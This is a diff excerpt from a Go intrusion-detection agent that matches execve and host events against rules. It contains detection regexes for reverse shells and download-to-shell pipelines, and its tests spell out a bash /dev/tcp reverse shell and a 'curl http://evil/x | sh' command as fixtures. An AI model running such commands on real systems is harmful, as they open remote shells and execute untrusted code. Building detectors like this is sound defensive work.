result := make([]int, 0, len(values))
|
||||
for value := range values {
|
||||
result = append(result, value)
|
||||
}
|
||||
sort.Ints(result)
|
||||
return result
|
||||
}
|
||||
33
go-agent/internal/events/catalog_test.go
Normal file
33
go-agent/internal/events/catalog_test.go
Normal file
|
|
@ -0,0 +1,33 @@
|
|||
// SPDX-License-Identifier: GPL-3.0-or-later
|
||||
|
||||
package events
|
||||
|
||||
import (
|
||||
"reflect"
|
||||
"testing"
|
||||
)
|
||||
|
||||
func TestRuleCatalogCoversEveryPortedRule(t *testing.T) {
|
||||
records := RuleCatalog(DefaultExecRuleEngine())
|
||||
if len(records) != 21 {
|
||||
t.Fatalf("got %d rules, want 21", len(records))
|
||||
}
|
||||
sids := make([]int, 0, len(records))
|
||||
for _, record := range records {
|
||||
sids = append(sids, record["sid"].(int))
|
||||
}
|
||||
want := []int{
|
||||
100001, 100002, 100003, 100004,
|
||||
100060, 100061, 100062, 100063, 100064, 100065, 100066,
|
||||
100067, 100068, 100069, 100070, 100071, 100072, 100073,
|
||||
100076, 100077, 100078,
|
||||
}
|
||||
if !reflect.DeepEqual(sids, want) {
|
||||
t.Fatalf("unexpected catalog SIDs: %#v", sids)
|
||||
}
|
||||
capability := FindRule(records, 100077)
|
||||
conditions := capability["conditions"].(map[string]any)
|
||||
if _, ok := conditions["capabilities_any"]; !ok {
|
||||
t.Fatalf("capability conditions missing: %#v", capability)
|
||||
}
|
||||
}
|
||||
53
go-agent/internal/events/exec_event.go
Normal file
53
go-agent/internal/events/exec_event.go
Normal file
|
|
@ -0,0 +1,53 @@
|
|||
// SPDX-License-Identifier: GPL-3.0-or-later
|
||||
|
||||
// Package events implements the event-driven rule layer independently from
|
||||
// its eventual kernel source. Keeping event records and matching pure makes
|
||||
// Python/Go parity testable before cilium/ebpf enters the build.
|
||||
package events
|
||||
|
||||
import (
|
||||
"encoding/json"
|
||||
"strings"
|
||||
)
|
||||
|
||||
// ExecEvent is one execve observed at execution time. Argv excludes filename,
|
||||
// matching the Python event model and the current BCC source contract.
|
||||
type ExecEvent struct {
|
||||
PID int `json:"pid"`
|
||||
PPID int `json:"ppid"`
|
||||
UID int `json:"uid"`
|
||||
ParentComm string `json:"parent_comm"`
|
||||
Filename string `json:"filename"`
|
||||
Argv []string `json:"argv"`
|
||||
}
|
||||
|
||||
// ExecComm intentionally mirrors posixpath.basename rather than filepath.Base:
|
||||
// Python returns an empty basename for a path ending in '/', while filepath
|
||||
// cleans the trailing separator and would return the previous component.
|
||||
func (e ExecEvent) ExecComm() string {
|
||||
if index := strings.LastIndex(e.Filename, "/"); index >= 0 {
|
||||
return e.Filename[index+1:]
|
||||
}
|
||||
return e.Filename
|
||||
}
|
||||
|
||||
func (e ExecEvent) ArgvString() string {
|
||||
parts := make([]string, 0, len(e.Argv)+1)
|
||||
parts = append(parts, e.Filename)
|
||||
parts = append(parts, e.Argv...)
|
||||
return strings.TrimSpace(strings.Join(parts, " "))
|
||||
}
|
||||
|
||||
func (e *ExecEvent) UnmarshalJSON(raw []byte) error {
|
||||
var values map[string]any
|
||||
if err := json.Unmarshal(raw, &values); err != nil {
|
||||
return err
|
||||
}
|
||||
e.PID = integerValue(values["pid"], 0)
|
||||
e.PPID = integerValue(values["ppid"], 0)
|
||||
e.UID = integerValue(values["uid"], 0)
|
||||
e.ParentComm = stringValue(values["parent_comm"])
|
||||
e.Filename = stringValue(values["filename"])
|
||||
e.Argv = stringSlice(values["argv"])
|
||||
return nil
|
||||
}
|
||||
15
go-agent/internal/events/exec_event_test.go
Normal file
15
go-agent/internal/events/exec_event_test.go
Normal file
|
|
@ -0,0 +1,15 @@
|
|||
// SPDX-License-Identifier: GPL-3.0-or-later
|
||||
|
||||
package events
|
||||
|
||||
import "testing"
|
||||
|
||||
func TestExecEventDerivedFieldsMatchPython(t *testing.T) {
|
||||
event := ExecEvent{Filename: "/tmp/x", Argv: []string{"-c", "echo hi"}}
|
||||
if event.ExecComm() != "x" || event.ArgvString() != "/tmp/x -c echo hi" {
|
||||
t.Fatalf("unexpected derived fields: %q %q", event.ExecComm(), event.ArgvString())
|
||||
}
|
||||
if got := (ExecEvent{Filename: "/tmp/x/"}).ExecComm(); got != "" {
|
||||
t.Fatalf("trailing-slash basename drifted from Python: %q", got)
|
||||
}
|
||||
}
|
||||
414
go-agent/internal/events/exec_rules.go
Normal file
414
go-agent/internal/events/exec_rules.go
Normal file
|
|
@ -0,0 +1,414 @@
|
|||
// SPDX-License-Identifier: GPL-3.0-or-later
|
||||
|
||||
package events
|
||||
|
||||
import (
|
||||
"encoding/csv"
|
||||
"fmt"
|
||||
"os"
|
||||
"regexp"
|
||||
"sort"
|
||||
"strconv"
|
||||
"strings"
|
||||
|
||||
"codeberg.org/anassaeneroi/enodia-sentinal/go-agent/internal/model"
|
||||
)
|
||||
|
||||
// ExecRule is the Go representation of Python's declarative exec rule. Every
|
||||
// specified positive condition is ANDed; values inside a condition are ORed.
|
||||
type ExecRule struct {
|
||||
SID int
|
||||
Message string
|
||||
Severity string
|
||||
Classtype string
|
||||
PathPrefixes []string
|
||||
ExecComms map[string]bool
|
||||
ParentComms map[string]bool
|
||||
ArgvRegex string
|
||||
ParentExclude map[string]bool
|
||||
compiled *regexp.Regexp
|
||||
}
|
||||
|
||||
func NewExecRule(rule ExecRule) (ExecRule, error) {
|
||||
if len(rule.PathPrefixes) == 0 && len(rule.ExecComms) == 0 &&
|
||||
len(rule.ParentComms) == 0 && rule.ArgvRegex == "" {
|
||||
return ExecRule{}, fmt.Errorf("rule sid=%d has no match conditions", rule.SID)
|
||||
}
|
||||
if rule.Severity == "" {
|
||||
rule.Severity = "HIGH"
|
||||
}
|
||||
if rule.Classtype == "" {
|
||||
rule.Classtype = "uncategorized"
|
||||
}
|
||||
if rule.ArgvRegex != "" {
|
||||
compiled, err := regexp.Compile("(?i)" + rule.ArgvRegex)
|
||||
if err != nil {
|
||||
return ExecRule{}, fmt.Errorf("rule sid=%d argv_regex: %w", rule.SID, err)
|
||||
}
|
||||
rule.compiled = compiled
|
||||
}
|
||||
return rule, nil
|
||||
}
|
||||
|
||||
func (r ExecRule) Matches(event ExecEvent) bool {
|
||||
if r.ParentExclude[event.ParentComm] {
|
||||
return false
|
||||
}
|
||||
if len(r.PathPrefixes) > 0 && !hasPrefix(event.Filename, r.PathPrefixes) {
|
||||
return false
|
||||
}
|
||||
if len(r.ExecComms) > 0 && !r.ExecComms[event.ExecComm()] {
|
||||
return false
|
||||
}
|
||||
if len(r.ParentComms) > 0 && !r.ParentComms[event.ParentComm] {
|
||||
return false
|
||||
}
|
||||
if r.compiled != nil && !r.compiled.MatchString(event.ArgvString()) {
|
||||
return false
|
||||
}
|
||||
return true
|
||||
}
|
||||
|
||||
func (r ExecRule) Alert(event ExecEvent) model.Alert {
|
||||
argv := truncateRunes(event.ArgvString(), 120)
|
||||
return model.Alert{
|
||||
SID: r.SID,
|
||||
Severity: r.Severity,
|
||||
Signature: "exec_rule." + r.Classtype,
|
||||
Classtype: r.Classtype,
|
||||
Key: fmt.Sprintf("exec:%d:%d", r.SID, event.PID),
|
||||
Detail: fmt.Sprintf(
|
||||
"sid=%d %s — pid=%d ppid=%d parent=%s exec=%s argv=[%s]",
|
||||
r.SID, r.Message, event.PID, event.PPID, event.ParentComm,
|
||||
event.Filename, argv),
|
||||
PIDs: []int{event.PID},
|
||||
}
|
||||
}
|
||||
|
||||
type ExecRuleEngine struct {
|
||||
Rules []ExecRule
|
||||
}
|
||||
|
||||
func DefaultExecRuleEngine() ExecRuleEngine {
|
||||
// Constructors below use only compile-time-valid rules. Panic is preferable
|
||||
// to silently dropping a shipped detection if a future edit breaks one.
|
||||
rules := make([]ExecRule, 0, len(defaultExecRuleSpecs))
|
||||
for _, specification := range defaultExecRuleSpecs {
|
||||
rule, err := NewExecRule(specification)
|
||||
if err != nil {
|
||||
panic(err)
|
||||
}
|
||||
rules = append(rules, rule)
|
||||
}
|
||||
return ExecRuleEngine{Rules: rules}
|
||||
}
|
||||
|
||||
func LoadExecRuleEngine(path string) (ExecRuleEngine, error) {
|
||||
engine := DefaultExecRuleEngine()
|
||||
if path == "" {
|
||||
return engine, nil
|
||||
}
|
||||
if _, err := os.Stat(path); os.IsNotExist(err) {
|
||||
return engine, nil
|
||||
} else if err != nil {
|
||||
return ExecRuleEngine{}, err
|
||||
}
|
||||
rules, err := loadTOMLExecRules(path)
|
||||
if err != nil {
|
||||
return ExecRuleEngine{}, err
|
||||
}
|
||||
engine.Rules = append(engine.Rules, rules...)
|
||||
return engine, nil
|
||||
}
|
||||
|
||||
func (e ExecRuleEngine) Match(event ExecEvent) []model.Alert {
|
||||
alerts := make([]model.Alert, 0)
|
||||
for _, rule := range e.Rules {
|
||||
if rule.Matches(event) {
|
||||
alerts = append(alerts, rule.Alert(event))
|
||||
}
|
||||
}
|
||||
return alerts
|
||||
}
|
||||
|
||||
var interpreters = stringSet(strings.Fields(
|
||||
"sh bash dash zsh ksh ash python python2 python3 perl ruby php lua " +
|
||||
"nc ncat netcat socat"))
|
||||
|
||||
var webDBServers = stringSet(strings.Fields(
|
||||
"nginx apache apache2 httpd php-fpm php php7 php8 lighttpd caddy " +
|
||||
"node nodejs tomcat catalina mysqld mariadbd postgres redis-server"))
|
||||
|
||||
var defaultExecRuleSpecs = []ExecRule{
|
||||
{
|
||||
SID: 100001, Message: "Program executed from a world-writable directory",
|
||||
Severity: "CRITICAL", Classtype: "fileless-execution",
|
||||
PathPrefixes: []string{"/tmp/", "/dev/shm/", "/var/tmp/"},
|
||||
},
|
||||
{
|
||||
SID: 100002, Message: "Reverse-shell command pattern in execve arguments",
|
||||
Severity: "CRITICAL", Classtype: "c2-reverse-shell",
|
||||
ArgvRegex: `/dev/(tcp|udp)/|\b(ba|da|z)?sh\b[^|]*\s-i\b|\bn(c|cat|etcat)\b.*\s-e\b|\bsocat\b.*\bexec|python[0-9.]*\b.*(pty\.spawn|socket\.socket)|perl\b.*\bSocket\b`,
|
||||
},
|
||||
{
|
||||
SID: 100003,
|
||||
Message: "Web/DB service spawned a shell or interpreter (possible RCE/webshell)",
|
||||
Severity: "CRITICAL", Classtype: "web-rce",
|
||||
ExecComms: interpreters, ParentComms: webDBServers,
|
||||
},
|
||||
{
|
||||
SID: 100004, Message: "Download piped directly to a shell (ingress tool transfer)",
|
||||
Severity: "HIGH", Classtype: "ingress-tool-transfer",
|
||||
ArgvRegex: `\b(curl|wget|fetch)\b.*\|\s*(ba|da|z)?sh\b`,
|
||||
},
|
||||
}
|
||||
|
||||
type rawExecRule struct {
|
||||
values map[string]string
|
||||
}
|
||||
|
||||
// loadTOMLExecRules implements the intentionally narrow [[exec_rules]] subset
|
||||
// consumed by Python. The sidecar stays stdlib-only; multiline string arrays,
|
||||
// quoted strings, comments, and arbitrary table ordering are supported.
|
||||
func loadTOMLExecRules(path string) ([]ExecRule, error) {
|
||||
raw, err := os.ReadFile(path)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
tables, err := parseExecRuleTables(string(raw))
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
rules := make([]ExecRule, 0, len(tables))
|
||||
for _, table := range tables {
|
||||
sidText, ok := table.values["sid"]
|
||||
if !ok {
|
||||
return nil, fmt.Errorf("exec_rules entry missing sid")
|
||||
}
|
||||
sid, err := strconv.Atoi(strings.TrimSpace(sidText))
|
||||
if err != nil {
|
||||
return nil, fmt.Errorf("exec_rules sid: %w", err)
|
||||
}
|
||||
message, err := optionalString(table.values, "msg", "")
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
severity, err := optionalString(table.values, "severity", "HIGH")
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
severity = strings.ToUpper(severity)
|
||||
if severity != "MEDIUM" && severity != "HIGH" && severity != "CRITICAL" {
|
||||
severity = "HIGH"
|
||||
}
|
||||
classtype, err := optionalString(table.values, "classtype", "uncategorized")
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
argvRegex, err := optionalString(table.values, "argv_regex", "")
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
pathPrefixes, err := optionalStringArray(table.values, "path_prefixes")
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
execComms, err := optionalStringArray(table.values, "exec_comm")
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
parentComms, err := optionalStringArray(table.values, "parent_comm")
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
parentExclude, err := optionalStringArray(table.values, "parent_exclude")
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
rule, err := NewExecRule(ExecRule{
|
||||
SID: sid, Message: message, Severity: severity, Classtype: classtype,
|
||||
PathPrefixes: pathPrefixes, ExecComms: stringSet(execComms),
|
||||
ParentComms: stringSet(parentComms), ArgvRegex: argvRegex,
|
||||
ParentExclude: stringSet(parentExclude),
|
||||
})
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
rules = append(rules, rule)
|
||||
}
|
||||
return rules, nil
|
||||
}
|
||||
|
||||
func parseExecRuleTables(text string) ([]rawExecRule, error) {
|
||||
tables := make([]rawExecRule, 0)
|
||||
var current *rawExecRule
|
||||
var assignment strings.Builder
|
||||
depth := 0
|
||||
flush := func() error {
|
||||
if assignment.Len() == 0 || current == nil {
|
||||
assignment.Reset()
|
||||
return nil
|
||||
}
|
||||
key, value, ok := strings.Cut(assignment.String(), "=")
|
||||
if !ok {
|
||||
return fmt.Errorf("invalid exec rule assignment: %q", assignment.String())
|
||||
}
|
||||
current.values[strings.TrimSpace(key)] = strings.TrimSpace(value)
|
||||
assignment.Reset()
|
||||
return nil
|
||||
}
|
||||
for _, rawLine := range strings.Split(text, "\n") {
|
||||
line := strings.TrimSpace(stripTOMLComment(rawLine))
|
||||
if line == "" {
|
||||
continue
|
||||
}
|
||||
if line == "[[exec_rules]]" {
|
||||
if err := flush(); err != nil {
|
||||
return nil, err
|
||||
}
|
||||
tables = append(tables, rawExecRule{values: map[string]string{}})
|
||||
current = &tables[len(tables)-1]
|
||||
depth = 0
|
||||
continue
|
||||
}
|
||||
if current == nil {
|
||||
continue
|
||||
}
|
||||
if assignment.Len() > 0 {
|
||||
assignment.WriteByte(' ')
|
||||
}
|
||||
assignment.WriteString(line)
|
||||
depth += strings.Count(line, "[") - strings.Count(line, "]")
|
||||
if depth <= 0 {
|
||||
if err := flush(); err != nil {
|
||||
return nil, err
|
||||
}
|
||||
depth = 0
|
||||
}
|
||||
}
|
||||
if err := flush(); err != nil {
|
||||
return nil, err
|
||||
}
|
||||
return tables, nil
|
||||
}
|
||||
|
||||
func optionalString(values map[string]string, key, fallback string) (string, error) {
|
||||
raw, ok := values[key]
|
||||
if !ok {
|
||||
return fallback, nil
|
||||
}
|
||||
value, err := tomlString(raw)
|
||||
if err != nil {
|
||||
return "", fmt.Errorf("exec_rules %s: %w", key, err)
|
||||
}
|
||||
return value, nil
|
||||
}
|
||||
|
||||
func optionalStringArray(values map[string]string, key string) ([]string, error) {
|
||||
raw, ok := values[key]
|
||||
if !ok {
|
||||
return []string{}, nil
|
||||
}
|
||||
raw = strings.TrimSpace(raw)
|
||||
if len(raw) < 2 || raw[0] != '[' || raw[len(raw)-1] != ']' {
|
||||
return nil, fmt.Errorf("exec_rules %s: expected string array", key)
|
||||
}
|
||||
body := strings.TrimSpace(raw[1 : len(raw)-1])
|
||||
if body == "" {
|
||||
return []string{}, nil
|
||||
}
|
||||
body = strings.TrimSpace(strings.TrimSuffix(strings.TrimSpace(body), ","))
|
||||
reader := csv.NewReader(strings.NewReader(body))
|
||||
reader.TrimLeadingSpace = true
|
||||
fields, err := reader.Read()
|
||||
if err != nil {
|
||||
return nil, fmt.Errorf("exec_rules %s: %w", key, err)
|
||||
}
|
||||
result := make([]string, 0, len(fields))
|
||||
for _, field := range fields {
|
||||
field = strings.TrimSpace(field)
|
||||
if field == "" {
|
||||
continue
|
||||
}
|
||||
// encoding/csv already removes TOML's ordinary double quotes. Literal
|
||||
// single-quoted strings are not CSV syntax, so unwrap those explicitly.
|
||||
if len(field) >= 2 && field[0] == '\'' && field[len(field)-1] == '\'' {
|
||||
field = field[1 : len(field)-1]
|
||||
}
|
||||
result = append(result, field)
|
||||
}
|
||||
return result, nil
|
||||
}
|
||||
|
||||
func tomlString(raw string) (string, error) {
|
||||
raw = strings.TrimSpace(raw)
|
||||
if len(raw) >= 2 && raw[0] == '\'' && raw[len(raw)-1] == '\'' {
|
||||
return raw[1 : len(raw)-1], nil
|
||||
}
|
||||
value, err := strconv.Unquote(raw)
|
||||
if err != nil {
|
||||
return "", fmt.Errorf("expected string, got %q", raw)
|
||||
}
|
||||
return value, nil
|
||||
}
|
||||
|
||||
func stripTOMLComment(line string) string {
|
||||
inBasic, inLiteral, escaped := false, false, false
|
||||
for index, char := range line {
|
||||
if escaped {
|
||||
escaped = false
|
||||
continue
|
||||
}
|
||||
if char == '\\' && inBasic {
|
||||
escaped = true
|
||||
continue
|
||||
}
|
||||
if char == '"' && !inLiteral {
|
||||
inBasic = !inBasic
|
||||
continue
|
||||
}
|
||||
if char == '\'' && !inBasic {
|
||||
inLiteral = !inLiteral
|
||||
continue
|
||||
}
|
||||
if char == '#' && !inBasic && !inLiteral {
|
||||
return line[:index]
|
||||
}
|
||||
}
|
||||
return line
|
||||
}
|
||||
|
||||
func hasPrefix(value string, prefixes []string) bool {
|
||||
for _, prefix := range prefixes {
|
||||
if strings.HasPrefix(value, prefix) {
|
||||
return true
|
||||
}
|
||||
}
|
||||
return false
|
||||
}
|
||||
|
||||
func stringSet(values []string) map[string]bool {
|
||||
result := make(map[string]bool, len(values))
|
||||
for _, value := range values {
|
||||
result[value] = true
|
||||
}
|
||||
return result
|
||||
}
|
||||
|
||||
func truncateRunes(value string, limit int) string {
|
||||
runes := []rune(value)
|
||||
if len(runes) <= limit {
|
||||
return value
|
||||
}
|
||||
return string(runes[:limit])
|
||||
}
|
||||
|
||||
// RuleSIDs is kept sorted for operator catalogs and coverage assertions.
|
||||
func (e ExecRuleEngine) RuleSIDs() []int {
|
||||
result := make([]int, 0, len(e.Rules))
|
||||
for _, rule := range e.Rules {
|
||||
result = append(result, rule.SID)
|
||||
}
|
||||
sort.Ints(result)
|
||||
return result
|
||||
}
|
||||
109
go-agent/internal/events/exec_rules_test.go
Normal file
109
go-agent/internal/events/exec_rules_test.go
Normal file
|
|
@ -0,0 +1,109 @@
|
|||
// SPDX-License-Identifier: GPL-3.0-or-later
|
||||
|
||||
package events
|
||||
|
||||
import (
|
||||
"os"
|
||||
"path/filepath"
|
||||
"reflect"
|
||||
"testing"
|
||||
)
|
||||
|
||||
func execEvent(filename string, argv []string, parent string) ExecEvent {
|
||||
return ExecEvent{
|
||||
PID: 10, PPID: 9, UID: 0, ParentComm: parent,
|
||||
Filename: filename, Argv: argv,
|
||||
}
|
||||
}
|
||||
|
||||
func TestDefaultExecRulesMatchPythonFixtures(t *testing.T) {
|
||||
engine := DefaultExecRuleEngine()
|
||||
tests := []struct {
|
||||
event ExecEvent
|
||||
sid int
|
||||
}{
|
||||
{execEvent("/tmp/.x/dropper", nil, "bash"), 100001},
|
||||
{execEvent("/bin/bash", []string{"-c", "bash -i >& /dev/tcp/10.0.0.1/4444 0>&1"}, "bash"), 100002},
|
||||
{execEvent("/usr/bin/python3", []string{"-c", "import socket; socket.socket()"}, "bash"), 100002},
|
||||
{execEvent("/bin/sh", []string{"-c", "id"}, "nginx"), 100003},
|
||||
{execEvent("/bin/sh", []string{"-c", "curl http://evil/x | sh"}, "bash"), 100004},
|
||||
}
|
||||
for _, test := range tests {
|
||||
found := false
|
||||
for _, alert := range engine.Match(test.event) {
|
||||
if alert.SID == test.sid {
|
||||
found = true
|
||||
}
|
||||
}
|
||||
if !found {
|
||||
t.Fatalf("sid %d did not match %#v", test.sid, test.event)
|
||||
}
|
||||
}
|
||||
if alerts := engine.Match(execEvent("/usr/bin/ls", []string{"-la"}, "bash")); len(alerts) != 0 {
|
||||
t.Fatalf("benign command matched: %#v", alerts)
|
||||
}
|
||||
}
|
||||
|
||||
func TestExecAlertContract(t *testing.T) {
|
||||
event := execEvent("/tmp/x", nil, "bash")
|
||||
alert := DefaultExecRuleEngine().Match(event)[0]
|
||||
if alert.SID != 100001 || alert.Severity != "CRITICAL" ||
|
||||
alert.Signature != "exec_rule.fileless-execution" ||
|
||||
alert.Key != "exec:100001:10" || !reflect.DeepEqual(alert.PIDs, []int{10}) {
|
||||
t.Fatalf("unexpected alert: %#v", alert)
|
||||
}
|
||||
want := "sid=100001 Program executed from a world-writable directory — pid=10 ppid=9 parent=bash exec=/tmp/x argv=[/tmp/x]"
|
||||
if alert.Detail != want {
|
||||
t.Fatalf("detail mismatch:\n got: %s\nwant: %s", alert.Detail, want)
|
||||
}
|
||||
}
|
||||
|
||||
func TestExecRuleValidationAndParentExclude(t *testing.T) {
|
||||
if _, err := NewExecRule(ExecRule{SID: 999}); err == nil {
|
||||
t.Fatal("conditionless rule was accepted")
|
||||
}
|
||||
rule, err := NewExecRule(ExecRule{
|
||||
SID: 1, Severity: "HIGH", Classtype: "test",
|
||||
ExecComms: map[string]bool{"bash": true},
|
||||
ParentExclude: map[string]bool{"sshd": true},
|
||||
})
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if !rule.Matches(execEvent("/bin/bash", nil, "cron")) ||
|
||||
rule.Matches(execEvent("/bin/bash", nil, "sshd")) {
|
||||
t.Fatal("parent exclusion semantics drifted")
|
||||
}
|
||||
}
|
||||
|
||||
func TestLoadConfiguredExecRules(t *testing.T) {
|
||||
path := filepath.Join(t.TempDir(), "rules.toml")
|
||||
raw := []byte(`
|
||||
[[exec_rules]]
|
||||
sid = 190001
|
||||
msg = "Custom interpreter rule"
|
||||
severity = "critical"
|
||||
classtype = "custom-exec"
|
||||
exec_comm = [
|
||||
"bash",
|
||||
"zsh",
|
||||
]
|
||||
parent_comm = ["cron"]
|
||||
parent_exclude = ["sshd"]
|
||||
argv_regex = 'danger\s+now'
|
||||
`)
|
||||
if err := os.WriteFile(path, raw, 0o600); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
engine, err := LoadExecRuleEngine(path)
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if got := engine.RuleSIDs(); !reflect.DeepEqual(got, []int{100001, 100002, 100003, 100004, 190001}) {
|
||||
t.Fatalf("unexpected rule catalog: %#v", got)
|
||||
}
|
||||
alerts := engine.Match(execEvent("/bin/bash", []string{"danger", "now"}, "cron"))
|
||||
if len(alerts) != 1 || alerts[0].SID != 190001 || alerts[0].Severity != "CRITICAL" {
|
||||
t.Fatalf("configured rule mismatch: %#v", alerts)
|
||||
}
|
||||
}
|
||||
139
go-agent/internal/events/host_event.go
Normal file
139
go-agent/internal/events/host_event.go
Normal file
|
|
@ -0,0 +1,139 @@
|
|||
// SPDX-License-Identifier: GPL-3.0-or-later
|
||||
|
||||
package events
|
||||
|
||||
import (
|
||||
"encoding/json"
|
||||
"fmt"
|
||||
"strconv"
|
||||
"strings"
|
||||
)
|
||||
|
||||
// HostEvent is the common typed record for network, filesystem, identity,
|
||||
// capability, and module activity that is neither exec nor raw syscall data.
|
||||
type HostEvent struct {
|
||||
Event string `json:"event"`
|
||||
PID int `json:"pid"`
|
||||
PPID int `json:"ppid"`
|
||||
UID int `json:"uid"`
|
||||
Comm string `json:"comm"`
|
||||
ParentComm string `json:"parent_comm"`
|
||||
Path string `json:"path"`
|
||||
Argv []string `json:"argv"`
|
||||
PeerIP string `json:"peer_ip"`
|
||||
PeerPort int `json:"peer_port"`
|
||||
LocalIP string `json:"local_ip"`
|
||||
LocalPort int `json:"local_port"`
|
||||
TargetUID int `json:"target_uid"`
|
||||
TargetGID int `json:"target_gid"`
|
||||
Mode int `json:"mode"`
|
||||
Capabilities []string `json:"capabilities"`
|
||||
ModuleName string `json:"module_name"`
|
||||
}
|
||||
|
||||
func (e HostEvent) ArgvString() string {
|
||||
parts := make([]string, 0, len(e.Argv)+1)
|
||||
parts = append(parts, e.Path)
|
||||
parts = append(parts, e.Argv...)
|
||||
return strings.TrimSpace(strings.Join(parts, " "))
|
||||
}
|
||||
|
||||
// UnmarshalJSON accepts the same compatibility aliases as Python ruleops:
|
||||
// type/event, remote/bind endpoint names, numeric strings, singular capability,
|
||||
// and module name. Defaults of -1 for absent target IDs are semantically
|
||||
// significant because zero means a requested root transition.
|
||||
func (e *HostEvent) UnmarshalJSON(raw []byte) error {
|
||||
var values map[string]any
|
||||
if err := json.Unmarshal(raw, &values); err != nil {
|
||||
return err
|
||||
}
|
||||
e.TargetUID, e.TargetGID = -1, -1
|
||||
e.Event = stringValue(firstValue(values, "event", "type"))
|
||||
e.PID = integerValue(values["pid"], 0)
|
||||
e.PPID = integerValue(values["ppid"], 0)
|
||||
e.UID = integerValue(values["uid"], 0)
|
||||
e.Comm = stringValue(values["comm"])
|
||||
e.ParentComm = stringValue(values["parent_comm"])
|
||||
e.Path = stringValue(values["path"])
|
||||
e.Argv = stringSlice(values["argv"])
|
||||
e.PeerIP = stringValue(firstValue(values, "peer_ip", "remote_ip"))
|
||||
e.PeerPort = integerValue(firstValue(values, "peer_port", "remote_port"), 0)
|
||||
e.LocalIP = stringValue(firstValue(values, "local_ip", "bind_ip", "listen_ip"))
|
||||
e.LocalPort = integerValue(firstValue(values, "local_port", "bind_port", "listen_port"), 0)
|
||||
e.TargetUID = integerValue(firstValue(values, "target_uid", "uid_target"), -1)
|
||||
e.TargetGID = integerValue(firstValue(values, "target_gid", "gid_target"), -1)
|
||||
e.Mode = integerValue(values["mode"], 0)
|
||||
e.Capabilities = stringSlice(firstValue(values, "capabilities", "caps", "cap_effective"))
|
||||
if len(e.Capabilities) == 0 {
|
||||
if capability := stringValue(values["capability"]); capability != "" {
|
||||
e.Capabilities = []string{capability}
|
||||
}
|
||||
}
|
||||
for index := range e.Capabilities {
|
||||
e.Capabilities[index] = strings.ToUpper(e.Capabilities[index])
|
||||
}
|
||||
e.ModuleName = stringValue(firstValue(values, "module_name", "name"))
|
||||
return nil
|
||||
}
|
||||
|
||||
func firstValue(values map[string]any, keys ...string) any {
|
||||
for _, key := range keys {
|
||||
if value, ok := values[key]; ok && value != nil && stringValue(value) != "" {
|
||||
return value
|
||||
}
|
||||
}
|
||||
return nil
|
||||
}
|
||||
|
||||
func stringValue(value any) string {
|
||||
if value == nil {
|
||||
return ""
|
||||
}
|
||||
if text, ok := value.(string); ok {
|
||||
return text
|
||||
}
|
||||
return fmt.Sprint(value)
|
||||
}
|
||||
|
||||
func integerValue(value any, fallback int) int {
|
||||
if value == nil {
|
||||
return fallback
|
||||
}
|
||||
switch typed := value.(type) {
|
||||
case float64:
|
||||
return int(typed)
|
||||
case int:
|
||||
return typed
|
||||
case string:
|
||||
text := strings.TrimSpace(strings.ToLower(typed))
|
||||
if strings.HasPrefix(text, "0o") {
|
||||
parsed, err := strconv.ParseInt(text[2:], 8, 64)
|
||||
if err == nil {
|
||||
return int(parsed)
|
||||
}
|
||||
}
|
||||
parsed, err := strconv.ParseInt(text, 0, 64)
|
||||
if err == nil {
|
||||
return int(parsed)
|
||||
}
|
||||
}
|
||||
return fallback
|
||||
}
|
||||
|
||||
func stringSlice(value any) []string {
|
||||
if text, ok := value.(string); ok {
|
||||
if text == "" {
|
||||
return []string{}
|
||||
}
|
||||
return []string{text}
|
||||
}
|
||||
items, ok := value.([]any)
|
||||
if !ok {
|
||||
return []string{}
|
||||
}
|
||||
result := make([]string, 0, len(items))
|
||||
for _, item := range items {
|
||||
result = append(result, stringValue(item))
|
||||
}
|
||||
return result
|
||||
}
|
||||
201
go-agent/internal/events/host_rules.go
Normal file
201
go-agent/internal/events/host_rules.go
Normal file
|
|
@ -0,0 +1,201 @@
|
|||
// SPDX-License-Identifier: GPL-3.0-or-later
|
||||
|
||||
package events
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
"regexp"
|
||||
"strings"
|
||||
|
||||
"codeberg.org/anassaeneroi/enodia-sentinal/go-agent/internal/model"
|
||||
"codeberg.org/anassaeneroi/enodia-sentinal/go-agent/internal/netutil"
|
||||
)
|
||||
|
||||
type HostRule struct {
|
||||
SID int
|
||||
Message string
|
||||
Severity string
|
||||
Classtype string
|
||||
Events map[string]bool
|
||||
Comms map[string]bool
|
||||
ParentComms map[string]bool
|
||||
PeerPublic *bool
|
||||
PeerPorts map[int]bool
|
||||
PeerPortExclude map[int]bool
|
||||
LocalPorts map[int]bool
|
||||
LocalPortExclude map[int]bool
|
||||
PathPrefixes []string
|
||||
TargetUIDs map[int]bool
|
||||
TargetGIDs map[int]bool
|
||||
CapabilitiesAny map[string]bool
|
||||
ModuleNames map[string]bool
|
||||
ArgvRegex string
|
||||
compiled *regexp.Regexp
|
||||
}
|
||||
|
||||
func NewHostRule(rule HostRule) (HostRule, error) {
|
||||
if len(rule.Events) == 0 {
|
||||
return HostRule{}, fmt.Errorf("rule sid=%d has no event types", rule.SID)
|
||||
}
|
||||
if len(rule.Comms) == 0 && len(rule.ParentComms) == 0 && rule.PeerPublic == nil &&
|
||||
len(rule.PeerPorts) == 0 && len(rule.PeerPortExclude) == 0 &&
|
||||
len(rule.LocalPorts) == 0 && len(rule.LocalPortExclude) == 0 &&
|
||||
len(rule.PathPrefixes) == 0 && len(rule.TargetUIDs) == 0 &&
|
||||
len(rule.TargetGIDs) == 0 && len(rule.CapabilitiesAny) == 0 &&
|
||||
len(rule.ModuleNames) == 0 && rule.ArgvRegex == "" {
|
||||
return HostRule{}, fmt.Errorf("rule sid=%d has no match conditions", rule.SID)
|
